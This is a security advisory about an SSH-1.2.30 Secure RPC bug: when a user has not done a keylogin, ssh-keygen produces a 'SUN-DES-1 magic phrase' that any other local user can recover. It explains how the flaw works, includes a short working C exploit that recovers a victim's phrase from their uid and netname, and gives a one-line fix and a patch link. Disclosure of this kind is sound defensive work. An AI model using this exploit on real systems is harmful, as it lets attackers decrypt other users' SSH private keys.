COMMAND

    SSH

SYSTEMS AFFECTED

    SSH-1.2.27...30

PROBLEM

    There  is  a  bug  in   SSH-1.2.30  involving  Secure  RPC.    The
    explanation and  bug was  submitted by  Richard Silverman  and his
    explanation  of  the  bug  is  below.   The  SSH1  protocol is not
    formally supported by SSH Communications Security.  However, as  a
    service to the user community, they offer patch as a potential way
    of addressing SSH1 related issues.

    When using "secure-RPC" support to encrypt a secret key file  with
    the "SUN-DES-1 magic phrase," it  is possible for SSH to  generate
    a "magic phrase"  which is easily  discoverable by other  users on
    the same host, or in the same NIS+ domain.

    The  SSH1  feature  is  called  secure-RPC,  but  this is a little
    misleading.   SSH1  does  not  use  secure-RPC.   Rather, it takes
    advantage of the  cryptographic infrastructure present  to support
    secure-RPC.

    On a Solaris system employing  secure-RPC (for e.g. secure NFS  or
    NIS+), there  is a  host-independent user  and host  naming scheme
    consisting of  "netnames" contained  in the  "netid" table,  and a
    Diffie-Hellman key  pair belonging  to each  netname, contained in
    the "publickey" table.   These tables may  be kept in  local files
    (/etc/netid, /etc/publickey),  or stored  in NIS+.   User netnames
    look like  "unix.<uid>@<domain>", and  have an  obvious mapping to
    local  usernames  via  the  uid   on  a  given  host.   A   user's
    Diffie-Hellman private  key is  stored encrypted  with the  user's
    "network  password,"  which  may  differ  from  the  user's  login
    password on a particular host.

    Solaris includes a system  server process called "keyserv,"  which
    is a caching  and service agent  for the secure-RPC  private keys.
    To load  the private  key into  keyserv, the  user runs  a program
    called "keylogin,"  which prompts  for the  network password.   It
    then retrieves the  user's private key  from the publickey  table,
    decrypts it  with the  password, and  via an  IPC mechanism stores
    the key with keyserv.  Keyserv will only allow processes with  the
    same uid as that which stored a key to access it.

    The  keyserv  API  includes  two functions, key_encryptsession and
    key_decryptsession.  Their purpose  is to support DES  session key
    exchange between  secure-RPC principals.   The  key_encryptsession
    routine takes a recipient  netname N and DES  key D.  It  looks up
    the public key  P belonging to  N, and retrieves  from keyserv the
    private key  K of  the current  user.   It then  encrypts D twice,
    using   both   Diffie-Hellman   keys   and   P   and   K.      The
    key_decryptsession  routine  performs  the  inverse  operation  on
    behalf of the recipient, recovering D.

    The  SSH1  secure-RPC  feature  makes  use  of  secure-RPC keys to
    encrypt the  a user's  SSH private  key file  without requiring  a
    user-supplied passphrase.  When ssh-keygen prompts the user for  a
    passphrase to encrypt  a new key  (or change the  passphrase of an
    existing key), it  recognizes the special  passphrase "SUN-DES-1".
    Instead  of  using  this  token  as  the  passphrase,  it does the
    following:
    - Finds the netname U of the current user.
    - Generates the string S: "ssh.XXXX", where XXXX is the user's uid
      in hexadecimal, left-padded with zeros.
    - Treats S as a DES key,  padding it out on the right with  8 null
      bytes.
    - Calls  key_encryptsession(U,S), producing  S'.   This encrypts S
      with both the public and private keys of the calling user.
    - Generates  the  string  M,  which  is  the  (upper-case)   ASCII
      hexadecimal  representation  of  the  64-bit  S'.   This  is the
      SUN-DES-1 "magic phrase."

    Ssh-keygen then  uses M  as the  passphrase to  encrypt the user's
    SSH private  key in  the usual  way.   The idea  is that  M is  an
    automatically-generated secure passphrase  for the user,  and that
    an  attacker  would  need  the  user's  secure-RPC  private key to
    discover M.  When other SSH components need to read a private  key
    file, they first generate M and attempt to decrypt the SSH private
    key with M; if that fails, they prompt the user for a passphrase.

    The problem occurs  if we encrypt  an SSH key  using the SUN-DES-1
    magic phrase, without having done  a keylogin -- that is,  keyserv
    does not have my Diffie-Hellman private key.  The Solaris 5.7  man
    page for  the key_encryptsession  routine does  not say explicitly
    what happens  in this  case, though  it does  say that the routine
    returns 0 on success and -1 on failure.  One would assume that  it
    returns failure in this case.  The SSH code does check the  return
    code and  tells the  user to  do a  keylogin if key_encryptsession
    fails.

    However, this does  not always happen.   We have seen  the correct
    behavior happen very occasionally  while testing, but most  of the
    time, key_encryptsession returns  success instead, and  appears to
    have encrypted its argument only with the public key of the target
    netname, simply skipping the other encryption step.  This produces
    a magic phrase which can be generated easily by any other user  on
    the system.  If the victim  has uid U and netname V,  the attacker
    simply ensures that he does  not have a private key  available (by
    doing a keylogout), then calls  key_encryptsession(V,"ssh.<U>...")
    as described above; this recovers the victim's magic phrase.   The
    attacker can  then use  this to  decrypt the  victim's private key
    file, should he get hold of it through other means.

    The user may not notice  the problem immediately, as his  SSH will
    be able to automatically decrypt the private key file as expected,
    as long as he remains "keylogged out".

    To demonstrate this  problem on a  Solaris system with  secure-RPC
    keys in place, do a  keylogout, then use ssh-keygen to  generate a
    new key  (or change  the passphrase  on an  existing key), setting
    the passphrase to "SUN-DES-1".  You will see the message:

        "Using SUN-DES-1 magic phrase to encrypt the private key."

    Then, compile the following short program:

    #include <stdio.h>
    #include <rpc/rpc.h>

    void die (char *msg)
    {
      fprintf(stderr,"%s\n",msg);
      exit(1);
    }

    main (int argc, char **argv)
    {
      char buf[MAXNETNAMELEN + 1];
      des_block block;
      uid_t uid;
      char *netname;

      if (argc < 3)
        die("supply uid and netname");

      sscanf(argv[1], "%d", &uid);
      netname = argv[2];
      memset(buf, 0, sizeof(buf));
      snprintf(buf, sizeof(buf), "ssh.%04X", uid);
      memcpy(block.c, buf, sizeof(block.c));
      if (key_encryptsession(netname, &block) != 0)
        die("key_encryptsession failed");
      printf("SUN-DES-1 magic phrase (uid %d, netname %s):\n  %08X%08X\n",
	     uid,
	     netname,
	     ntohl(block.key.high),
	     ntohl(block.key.low));
    }

    Any user may now do a keylogout, then call this program with  your
    uid   and   netname    as   arguments,    e.g.   "exploit    12345
    unix.12345@domain.org".   It  will  print  out  your magic phrase,
    which can be used directly to decrypt your private key file,  e.g.
    with "ssh -i", "ssh-add", etc.

SOLUTION

    The     quick     fix     is     this:     in     the      routine
    userfile_get_des_1_magic_phrase  (userfile.c:1150),  change   this
    line:

        if (getnetname(buf))

    to this:

        if (getnetname(buf) && key_secretkey_is_set())

    key_secretkey_is_set returns  whether or  not the  calling process
    has a secret key registered with keserv.  Unfortunately, this  may
    not be complete solution.

    The patch for this is available at

        http://www.ssh.com/products/ssh/patches.html